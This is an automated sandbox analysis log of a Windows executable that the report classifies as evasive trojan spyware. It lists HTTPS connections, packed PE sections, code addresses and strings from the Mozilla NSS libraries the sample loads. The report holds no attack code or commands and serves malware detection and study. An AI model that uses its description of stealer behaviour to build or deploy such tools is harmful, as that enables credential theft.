Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.24.109:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.1:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49940 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2588069315.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nyqiuucy ZLIB complexity 0.9944102907825954

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@68/289@24/24

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C537030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C537030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\34SF1L5Q.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8520:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\5e6b974b-f9fb-4a79-aa4d-7c10eac21855.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2587780324.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2586905938.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2578639270.000000001D7F0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
